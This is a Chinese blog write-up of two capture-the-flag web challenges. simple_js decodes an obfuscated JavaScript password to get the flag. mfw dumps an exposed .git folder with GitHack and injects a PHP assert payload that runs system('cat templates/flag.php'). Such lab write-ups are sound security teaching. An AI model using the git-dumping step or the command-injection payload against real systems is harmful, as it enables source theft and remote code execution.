【攻防世界WEB】难度三星9分入门题(上):simple_js、mfw

目录

一、simple_js

解题方法:

过程:

二、mfw

解题方法:

过程:


一、simple_js

解题方法:

1、理解php代码

过程:

输入框中输入密码后

 

Ctrl+U查看源码

<html>
<head>
    <title>JS</title>
    <script type="text/javascript">
    function dechiffre(pass_enc){
        var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
        var tab  = pass_enc.split(',');
                var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
                        k = j + (l) + (n=0);
                        n = tab2.length;
                        for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
                                if(i == 5)break;}
                        for(i = (o=0); i < (k = j = n); i++ ){
                        o = tab[i-l];
                                if(i > 5 && i < k-1)
                                        p += String.fromCharCode((o = tab2[i]));
                        }
        p += String.fromCharCode(tab2[17]);
        pass = p;return pass;
    }
    String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
    h = window.prompt('Enter password');
    alert( dechiffre(h) );
</script>
</head>
</html>

1、function定义了一个函数
2、被切为2部分
3、o=tab[i-1]无效,会被后面o=tab2[i]的值覆盖
4、tab数组、输入参数都没有用到

5、tab2数组的值覆盖了tab的值,输入什么密码都没用


获取信息:

dechiffre():将 Unicode 编码转为一个字符

fromCharCode(): 可接受一个指定的 Unicode 值,然后返回一个字符串

10进制的字符:

70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65

16进制的字符:

 \x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30

    var n=String.fromCharCode(55,56,54,79,115,69,114,116,107,49,50);
	    document.write(n);
	var m=String.fromCharCode(70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65);
		document.write(m);

786OsErtk12

FAUX PASSWORD HAHA


或者:

php运行

<?php
$a='\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30';
$b=str_replace('\x','',$a);
echo hex2bin($b);
?>

55,56,54,79,115,69,114,116,107,49,50


python运行
a=[55,56,54,79,115,69,114,116,107,49,50]
b=""
for i in a:
	c=chr(i)
	b=b+c
print(b)

786OsErtk12


 FAUX PASSWORD HAHA

(人造密码哈哈)


题目提示(Flag格式为 Cyberpeace{xxxxxxxxx} )

所以flag为

Cyberpeace{786OsErtk12}



二、mfw

 

解题方法:

1、.git源码泄露

过程:

点进去发现只有这一个

尝试是否存在git泄露

存在git泄露


 

 

使用python2.7(我不想全局环境换来换去,直接在python2.7文件夹运行)

GitHack:GitHub - lijiejie/GitHack: A `.git` folder disclosure exploiticon-default.png?t=M666https://github.com/lijiejie/GitHack

语法:python GitHack.py http://www.openssl.org/.git/

我写的是GitHack.py的绝对路径

PS C:\Python27> python D:\BaiduNetdiskDownload\shenji\GitHack-master\GitHack.py http://61.147.171.105:62321/.git/


 打开flag.php

也没发现flag

 

 源码审计一波

自己看发现没有做任何的过滤,考虑试一试注入 

 


payload:

?page=').system('cat templates/flag.php');//

')闭合前面的strpos函数,//注释掉后面的

注入进去以后就是

assert("strpos('templates/').system('cat templates/flag.php');//.php', '..') === false") or die("Detected hacking attempt!");

想到了flag.php

会不会是在代码里

Ctrl+U查看源码,或者使用bp抓包,不会错过许多细节

 



  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
度为2的有序树与二叉树有一些区别。首先,度为2的有序树至少有3个结点,而二叉树可以为空。其次,度为2的有序树中,孩子结点的左右次序是相对于另一个孩子结点而言的。如果某个结点只有一个孩子,则无需区其左右次序。而对于二叉树,无论其孩子数是否为2,都需要确定其左右次序,即二叉树的结点次序是确定的,不是相对于另一个结点而言的。此外,含有n个结点的二叉树的高度为log2n下取整。 虽然度为2的有序树和二叉树在一些方面有差异,但可以说度为2的有序树就是二叉树。因为对于任何一棵二叉树,我们都可以认为它是一个度为2的有序树,只是其中一些结点的孩子数可能为0或者1。而完全二叉树是一种特殊的二叉树,它满足每个结点都与高度为h的满二叉树中编号为1—n的结点一一对应的条件。在完全二叉树中,如果一个结点没有左孩子,则它必定没有右孩子,那它就是叶子结点。 综上所述,度为2的有序树可以看作是一种特殊的二叉树。它们的区别在于度为2的有序树中孩子结点的左右次序相对于另一个孩子而言,而二叉树的结点次序是确定的。然而,我们可以将任何一棵二叉树视为度为2的有序树,只需将孩子数为0或1的结点视为度为2的结点即可。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [数据结构---第五章树与二叉树---二叉树的概念---选择](https://blog.csdn.net/programmer9/article/details/125015325)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *3* [第六章 树和二叉树习1](https://download.csdn.net/download/MFW333/87596042)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

黑色地带(崛起)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值